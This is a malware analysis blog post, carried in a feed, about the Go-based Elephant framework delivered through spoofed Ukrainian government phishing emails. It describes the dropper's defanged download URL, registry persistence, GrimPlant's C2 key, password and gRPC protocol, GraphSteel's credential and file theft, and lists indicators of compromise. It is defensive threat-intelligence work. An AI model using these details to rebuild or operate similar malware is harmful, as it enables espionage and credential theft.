&lt;td&gt;Scheduled Tasks used for both execution and persistence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Msiexec&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1218/007"target="_blank" rel="noopener"&gt;T1218.007&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Msiexec is used to launch next stage payloads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Compiled HTML File&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1218/001"target="_blank" rel="noopener"&gt;T1218.001&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;CHM files are used to deliver payloads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Masquerading&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1036"target="_blank" rel="noopener"&gt;T1036&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Files are masqueraded as legitimate files and scheduled tasks are named after common tasks (eg. Adobe Updater)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;System Information Discovery&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1082"target="_blank" rel="noopener"&gt;T1082&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;First stage payloads fetch Computer and User names&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command and Control&lt;/td&gt;
&lt;td&gt;Web Protocols&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1071/001"target="_blank" rel="noopener"&gt;T1071.001&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;HTTPS is used for C2 communication&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command and Control&lt;/td&gt;
&lt;td&gt;Exfiltration Over C2 Channel&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1041"target="_blank" rel="noopener"&gt;T1041&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Data can be exfiltrated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Elephant Framework Delivered in Phishing Attacks Against Ukrainian Organizations</title><link>https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/</link><pubDate>Mon, 04 Apr 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/</guid><description>
&lt;p&gt;A recently developed malware framework called Elephant is being delivered in
targeted spear phishing campaigns using spoofed Ukrainian governmental email
addresses. The four malware components delivered are used for stealing
credentials, documents, and to provide remote access to the infected machine.&lt;/p&gt;
&lt;p&gt;Two of these components were first reported on by the Computer Emergency
Response Team for Ukraine (CERT-UA) in March 2022. They named the two
components GraphSteel and GrimPlant. When investigating these events, we have
identified that Elephant has also been delivered via phishing emails from
spoofed Ukrainian email addresses. Elephant is a malware framework written in
Go. The activity has been attributed to UAC-0056 (TA471, SaintBear, UNC2589) by
CERT-UA.&lt;/p&gt;
&lt;h2&gt;Background&lt;span class="hx:absolute hx:-mt-20" id="background"&gt;&lt;/span&gt;
&lt;a href="#background" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;On March 12, the CERT-UA
&lt;a href="https://cert.gov.ua/article/37704"target="_blank" rel="noopener"&gt;published an alert&lt;/a&gt; on a threat about
phishing emails sent on behalf of state bodies of Ukraine that urged the
recievers to update the system by using a link provided in the email. Once the
user opens the link two files are downloaded, one is Cobalt Strike Beacon the
other is a dropper that will download and execute two additional files. These
additional files are base64 encoded, the files saved as:
&lt;code&gt;microsoft-cortana.exe&lt;/code&gt; (classified as GraphSteel) and &lt;code&gt;oracle-java.exe&lt;/code&gt;
(GrimPlant backdoor). The attack used Discord as a hosting server for the
additional payload that was downloaded.&lt;/p&gt;
&lt;p&gt;On March 15, SentinelOne
&lt;a href="https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/"target="_blank" rel="noopener"&gt;found&lt;/a&gt;
two more samples of the GraphSteel and GrimPlant malware families. These
samples written in Go were dropped by an executable that was disguised as a
translation application. The new samples are similar to those published by the
CERT-UA, both in the naming and the functionality.&lt;/p&gt;
&lt;p&gt;On March 28, CERT-UA published
&lt;a href="https://cert.gov.ua/article/38374"target="_blank" rel="noopener"&gt;another alert&lt;/a&gt; about phishing emails with
an attached &amp;ldquo;xls&amp;rdquo; file. The subject of the email and the file name are both
&amp;ldquo;Wage arrear&amp;rdquo;. The attached file had macros that, once executed, created a file
called &lt;code&gt;Base-Update.exe&lt;/code&gt; – a malware that downloads and executes two other
files classified as GraphSteel and GrimPlant by the CERT.&lt;/p&gt;
&lt;h2&gt;Phishing Email&lt;span class="hx:absolute hx:-mt-20" id="phishing-email"&gt;&lt;/span&gt;
&lt;a href="#phishing-email" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;The subject of the email: Заборгованість по зарплаті (arrears in wages).&lt;/li&gt;
&lt;li&gt;The email was sent from &lt;code&gt;zam@mdfi.gov.ua&lt;/code&gt; to &lt;code&gt;ilenko@gng.com.ua&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The sender domain &lt;code&gt;mdfi.gov.ua&lt;/code&gt; belongs to the Mykolayiv Regional
Phytosanitary Laboratory.&lt;/li&gt;
&lt;li&gt;The
&lt;a href="https://uhmi.org.ua/eng/conf/entln/list_of_participants/#:~:text=ilenko%40gng.com.ua%20ilenko%40gng.com.ua%2028.%20vyacheslav%20petrovych%20tretyak%2C%20head%20of%20department%20of%20technical%20supply"target="_blank" rel="noopener"&gt;receiver&lt;/a&gt;
is the Head of Department of Technical Supply in
&lt;a href="https://www.okko-group.com.ua/en/companies/okko"target="_blank" rel="noopener"&gt;OKKO Group&lt;/a&gt;, one of the
largest filling stations in Ukraine, this person is in charge of the gas
stations chain.&lt;/li&gt;
&lt;li&gt;Based on the headers of the email: the email was sent from &lt;code&gt;87.249.139.161&lt;/code&gt;
(hosting web server located in Turkey).&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Return-Path: &amp;lt;zam@mdfi.gov.ua&amp;gt;
Received: from hosting30.ukrnames.com (hosting30.ukrnames.com [217.182.197.11])
by mx-fm0.gng.com.ua with ESMTP id 22RJjl16017368-22RJjl18017368
(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO)
for &amp;lt;ilenko@gng.com.ua&amp;gt;; Sun, 27 Mar 2022 22:45:47 &amp;#43;0300
Received: from [87.249.139.161] (port=15731 helo=WIN3ISR1T95E6Qwwwtendawificom)
by hosting30.ukrnames.com with esmtpsa (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.95)
(envelope-from &amp;lt;zam@mdfi.gov.ua&amp;gt;)
id 1nYYot-00AQaf-Gj
for ilenko@gng.com.ua;
Sun, 27 Mar 2022 22:45:47 &amp;#43;0300
MIME-Version: 1.0
From: &amp;#34;zam@mdfi.gov.ua&amp;#34; &amp;lt;zam@mdfi.gov.ua&amp;gt;
Reply-To: zam@mdfi.gov.ua
To: ilenko@gng.com.ua
...
X-Mailer: Smart_Send_4_4_2
Date: Sun, 27 Mar 2022 12:44:30 -0700
Message-ID: &amp;lt;127804766552081718123841@WIN-3ISR1T95E6Q&amp;gt;
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - hosting30.ukrnames.com
X-AntiAbuse: Original Domain - gng.com.ua
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - mdfi.gov.ua
X-Get-Message-Sender-Via: hosting30.ukrnames.com: authenticated_id: zam@mdfi.gov.ua
X-Authenticated-Sender: hosting30.ukrnames.com: zam@mdfi.gov.ua
X-Source:
X-Source-Args:
X-Source-Dir:
X-FE-Attachment-Name: =?UTF-8?B?x&amp;#43;Dh7vDj7uLg7bPx8vwg7&amp;#43;4g5&amp;#43;Dw7&amp;#43;vg8rMueGxz?=
X-FEAS-SBL: 87.249.139.161 score 1
X-FE-Policy-ID: 2:1:4:gng.com.ua
X-FE-Orig-Env-Rcpt: ilenko@gng.com.ua
X-FE-Orig-Env-From: zam@mdfi.gov.ua
X-FEAS-Client-IP: 217.182.197.11&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;While reviewing the email&amp;rsquo;s transport path, we noticed that the domain
&lt;code&gt;mdfi.gov.ua&lt;/code&gt; did not have a configured SPF record to prevent email spoofing.
An SPF record is used to restrict which IP addresses are allowed to send emails
for a specific domain. If this record is not set, any IP address is technically
allowed to send emails using that domain name. Some email providers do warn
when they receive an email from an address that doesn&amp;rsquo;t have an SPF record. The
screenshot below shows the warning message displayed in GMail when reading such
email.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Our theory is that the threat actor exploited this vulnerability to send
spoofed phishing emails to their targets. We reported the issue to CERT-UA.&lt;/p&gt;
&lt;p&gt;We
&lt;a href="https://www.virustotal.com/gui/ip-address/87.249.139.161/relations"target="_blank" rel="noopener"&gt;followed&lt;/a&gt;
the sender IP address and found three other emails: two emails submitted on
March 29 from Ukraine targeting ICTV, a Ukrainian TV channel and the third
email was submitted in February from Romania. The emails that target UA have
the same subject and use the same attached xls file that delivers the first
malicious payload.&lt;/p&gt;
&lt;h2&gt;The Elephant Framework&lt;span class="hx:absolute hx:-mt-20" id="the-elephant-framework"&gt;&lt;/span&gt;
&lt;a href="#the-elephant-framework" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The malware that is dropped by the phishing lure is the dropper component of
what we call the &amp;ldquo;Elephant Framework.&amp;rdquo; The framework consists of four
components that work in unison. The code snippet below shows a reconstruction
of the source code tree, bold indicating folders, showing how the different
components have been organized. The location of the implant&amp;rsquo;s entrypoint is
unknown and has been guessed to be in the root folder. As there are also server
components to the framework, we hypothesize that there are more folders for the
two servers used by the framework.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;Dropper Component&lt;span class="hx:absolute hx:-mt-20" id="dropper-component"&gt;&lt;/span&gt;
&lt;a href="#dropper-component" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;While called the dropper in the framework, this component does not have an
embedded payload. Instead it is technically a downloader that fetches the next
stage called the &amp;ldquo;downloader.&amp;rdquo; The next stage is downloaded from the URL
&lt;code&gt;hxxp://194.31.98.124:443/i&lt;/code&gt; and saved to the user&amp;rsquo;s home directory
(&lt;code&gt;%HOME%/.java-sdk/java-sdk.exe&lt;/code&gt;). The next stage is executed with the command
line flag &lt;code&gt;-a 0CyCcrhI/6B5wKE8XLOd+w==&lt;/code&gt;, base64 and AES encrypted information
about the C2 server.&lt;/p&gt;
&lt;h3&gt;Downloader Component&lt;span class="hx:absolute hx:-mt-20" id="downloader-component"&gt;&lt;/span&gt;
&lt;a href="#downloader-component" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The &amp;ldquo;downloader&amp;rdquo; acts as an orchestrator for the other components. In addition
to downloading the &amp;ldquo;client&amp;rdquo; and the &amp;ldquo;implant&amp;rdquo; components, it also sets up
persistence and can perform updates. Like all the other components, before any
malicious activity is taken it performs some evasion techniques. The difference
between this component and the others is that this one is using code from the
&lt;a href="https://github.com/redcode-labs/Coldfire"target="_blank" rel="noopener"&gt;ColdFire project on GitHub&lt;/a&gt;. The
screenshot below shows the malware using the &lt;code&gt;Wait&lt;/code&gt; function to sleep for 10
seconds before allocating 200 mb of garbage data.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Persistence is established by adding a new key entry with the name &lt;code&gt;Java-3DK&lt;/code&gt;
to the registry key &lt;code&gt;Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;. After this,
the malware checks if a new binary exists by comparing its MD5 hash with a hash
from the server. If no update is needed, it downloads the other two components.&lt;/p&gt;
&lt;p&gt;The downloader has some 3rd party libraries, whose metadata are listed in the
binary, that are not used. All the 3rd party libraries are listed in the code
snippet below. In the list for example &lt;code&gt;port-scanner&lt;/code&gt;, &lt;code&gt;gopacket&lt;/code&gt;, and
&lt;code&gt;gateway&lt;/code&gt; packages are not being used. These are all libraries to facilitate
lateral movement. It is not clear if these are left-overs from an older version
of the malware or hints of future functionality.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770
github.com/dustin/go-humanize v1.0.0
github.com/fatih/color v1.10.0
github.com/google/gopacket v1.1.19
github.com/google/gopacket/layers v1.1.19
github.com/google/gopacket/pcap v1.1.19
github.com/jackpal/gateway v1.0.7
github.com/jcmturner/aescts v2.0.0&amp;#43;incompatible
github.com/mattn/go-colorable v0.1.8
github.com/mattn/go-isatty v0.0.12
github.com/minio/minio/pkg/disk v0.0.0-20210213070509-a94a9c37faf5
github.com/mitchellh/go-ps v1.0.0
github.com/redcode-labs/ColdFire v0.0.0-20210118141151-d4d62410b029
github.com/savaki/jq v0.0.0-20161209013833-0e6baecebbf8
github.com/savaki/jq/scanner v0.0.0-20161209013833-0e6baecebbf8
golang.org/x/sys/windows v0.0.0-20210119212857-b64e53b001e4
golang.org/x/sys/windows/registry v0.0.0-20210119212857-b64e53b001e4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig4.png" title="Analysis of the Elephant downloader (https://analyze.intezer.com/files/8ffe7f2eeb0cbfbe158b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2b0a1)" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Analysis of the Elephant downloader (https://analyze.intezer.com/files/8ffe7f2eeb0cbfbe158b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2b0a1)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Implant Component (GrimPlant)&lt;span class="hx:absolute hx:-mt-20" id="implant-component-grimplant"&gt;&lt;/span&gt;
&lt;a href="#implant-component-grimplant" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;GrimPlant is a backdoor that allows the operator to execute arbitrary
PowerShell scripts on the infected machine. The backdoor has a relatively small
set of functionality, for example it doesn&amp;rsquo;t have any persistence functionality
on its own. When the malware first is executed, it allocates 200 mb and sleeps
for 10 seconds, the function shown in the screenshot below. This is an
anti-emulation technique that has been found in other malware written in Go.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The Command and Control (C2) address is not included in the binary. Instead it
is passed in to the malware via the command line flag &lt;code&gt;-addr&lt;/code&gt;. The address is
not provided as a plain string. Instead it has been encrypted with AES in
Cipher-Block Chaining (CBC) mode. The malware decrypts the string with the
embedded key
(&lt;code&gt;f1d21960d8eb2fddf2538d29a5fd50b5f64a3f9bf06f2a3c4c950438c9a7f78e&lt;/code&gt;) and a null
IV. The port used by the C2 server is hardcoded to port 80.&lt;/p&gt;
&lt;p&gt;GrimPlant communicates with the C2 server over gRPC. The communication is
encrypted with TLS. The malware has an embedded root certificate that it uses
to verify that it talks to a trusted server. The code snippet shows parts of
the root certificate information. The certificate used by the C2 server has
been signed by this root certificate which allows the threat actor to rotate
the certificate without redeploying a new malware.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Version: 3 (0x2)
Serial Number:
6d:56:93:aa:f3:9d:b1:f7:15:4e:39:64:77:9c:7e:d0:d4:cf:f6:3e
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = FR, ST = Occitanie, L = Toulouse, O = O, OU = E, CN = *.a.com, emailAddress = a@mail.com
Validity
Not Before: Mar 20 15:21:06 2022 GMT
Not After : Mar 20 15:21:06 2023 GMT
Subject: C = FR, ST = Occitanie, L = Toulouse, O = O, OU = E, CN = *.a.com, emailAddress = a@mail.com
SHA1 Fingerprint=DC:A9:5B:DC:F0:53:55:73:7A:A6:79:85:43:F6:3E:7C:23:07:36:33&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There are only a handful of gRPC &amp;ldquo;methods&amp;rdquo; supported by the malware. A
reconstructed protobuf specification is shown in the code snippet below. To
identify which instance of the malware is sending the request to the C2 server,
the malware uses its machine ID as an unique identifier in the messages. When
the malware first connects to the C2 server, it authenticates itself with the
password &lt;code&gt;sdrunlygvhwbcaeiuklgunvre&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After a successful authentication, it sends a heartbeat message every 10
seconds. This message includes information about the infected machine: public
IP address, hostname, username, etc. In addition to the heartbeat message, the
malware starts the &amp;ldquo;command&amp;rdquo; loop that checks for new commands to execute every
3 seconds. If a command is received it executes it by spawning a PowerShell
instance by executing
&lt;code&gt;%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;/code&gt; and returns the
result to the C2 server.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;service Implant {
rpc FetchCommand(FetchCmdRequest) returns FetchCmdResponse {}
rpc Heartbeat(stream HeartbeatRequest) returns (stream Empty) {}
rpc Login(ImplantLoginRequest) returns ImplantLoginResponse {}
rpc SendCmdOutput(SendCmdRequest) returns SendCmdResponse {}
}
message FetchCmdRequest {
string id = 1;
}
message FetchCmdResponse {
string adminId = 1;
bytes cmdText = 2;
}
message HeartbeatRequest {
string id = 1;
bytes sysInfo = 2;
}
message ImplantLoginRequest {
string id = 1;
bytes sysInfo = 2;
string password = 3;
}
message ImplantLoginResponse {
string token = 1;
}
message SendCmdRequest {
string adminId = 1;
bytes output = 2;
bytes error = 3;
}
message SendCmdResponse {}
message Empty {}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Client Component (GraphSteel)&lt;span class="hx:absolute hx:-mt-20" id="client-component-graphsteel"&gt;&lt;/span&gt;
&lt;a href="#client-component-graphsteel" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The &amp;ldquo;client&amp;rdquo; component is a credential and file stealer. It communicates with
the C2 server over WebSockets to a GraphQL endpoint. All the messages are
encrypted with AES. The key is received from the C2 server. The malware author
has written their own RSA implementation for the key exchange that is used to
receive the shared secret. All messages prior to the key exchange, including
the key exchange itself, are encrypted with AES using a hardcoded key.&lt;/p&gt;
&lt;p&gt;The credentials on the machine are stolen using code lifted from
&lt;a href="https://github.com/kerbyj/goLazagne"target="_blank" rel="noopener"&gt;goLazagne&lt;/a&gt;. In addition to stealing
credentials, the malware will look in the user&amp;rsquo;s &lt;code&gt;Documents&lt;/code&gt;, &lt;code&gt;Downloads&lt;/code&gt;,
&lt;code&gt;Pictures&lt;/code&gt;, and &lt;code&gt;Desktop&lt;/code&gt; folder for files with the file-extensions listed in
the snippet below.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;.key, .crt, .json, .csv, .7z, .rar, .zip, .ssh, .ovpn, .pptx, .xlsx, .docx, .ppt, .xls,
.doc, .txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If it finds a file with a matching file extension, it generates the MD5 hash
for the file and checks with the C2 server if the file has already been
uploaded. If it hasn&amp;rsquo;t, the file is uploaded to the C2 server.&lt;/p&gt;
&lt;h2&gt;Infrastructure&lt;span class="hx:absolute hx:-mt-20" id="infrastructure"&gt;&lt;/span&gt;
&lt;a href="#infrastructure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Using the embedded CA certificate in the malware, we uncovered older service
certificates and IP addresses. The oldest certificate we discovered had a
validity date of &amp;ldquo;not before&amp;rdquo; December 9th, 2021. The IP address of the server
where this certificate was served from is owned by the Russian hosting provider
Zservers and still returned Elephant components as of April 2022. The
components retrieved from the server are very similar to the samples used at
the end of March. The other hosting providers used by the threat actor are PQ
Hosting and Serverion.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The threat actor has chosen to sprinkle some French connections within their
infrastructure. The certificates use French location information and the domain
name &lt;code&gt;forkscenter[.]fr&lt;/code&gt;. We don&amp;rsquo;t know if the decision to name it Elephant is a
nod to
&lt;a href="https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope"target="_blank" rel="noopener"&gt;Babar&lt;/a&gt;,
an espionage software attributed to a French intelligence agency, or intended
as a &amp;ldquo;false flag.&amp;rdquo;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;UAC-0056 (TA471, SaintBear, UNC2589) started using a new malware framework
called Elephant back in December 2021. The malware has been delivered in
targeted spear phishing campaigns using spoofed Ukrainian governmental email
addresses. The malware consists of at least four different components that are
used for stealing credentials, documents, and to provide remote access to the
infected machine. The threat actor has opted to use multiple protocols for C2
communication, gRPC and GraphQL over websockets. This is an interesting choice
as it complicates the development of the framework with more code to maintain.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;194.31.98.124 - C2 address used by the malware
87.249.139.161 - IP address that was used for sending the emails
IP addresses used in previous campaigns.
91.242.229.35
45.84.0.116
80.66.76.187
Original Email 3c2022fea48b52326f9eec4c1c84f10b
xls da305627acf63792acb02afaf83d94d1
Base-update.exe 06124da5b4d6ef31dbfd7a6094fc52a6
Java-sdk 36ff9ec87c458d6d76b2afbd5120dfae
oracle-java 4a5de4784a6005aa8a19fb0889f1947a
Microsoft-cortana 6b413beb61e46241481f556bb5cdb69c
Samples from oldest server found
8e0eb1742b47745ff73389673996e964
cbc0e802b7134e1d02df1f2eb1b1d1e2
628f41776ae3b2e8343eeb9cdcd019f2
More Emails linked to the same sender IP
C7051e88ae43c1bd4b869cf18280ec5e
40b42005e9cfc5ea2a7cfc1ced975cbb
Fbe3cb4dfce740c3728c459b853e4249 (email submitted and target Romania)
Paths
%HOME%\AppData\Local\Temp\Base-Update.exe
%HOME%\.java-sdk&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
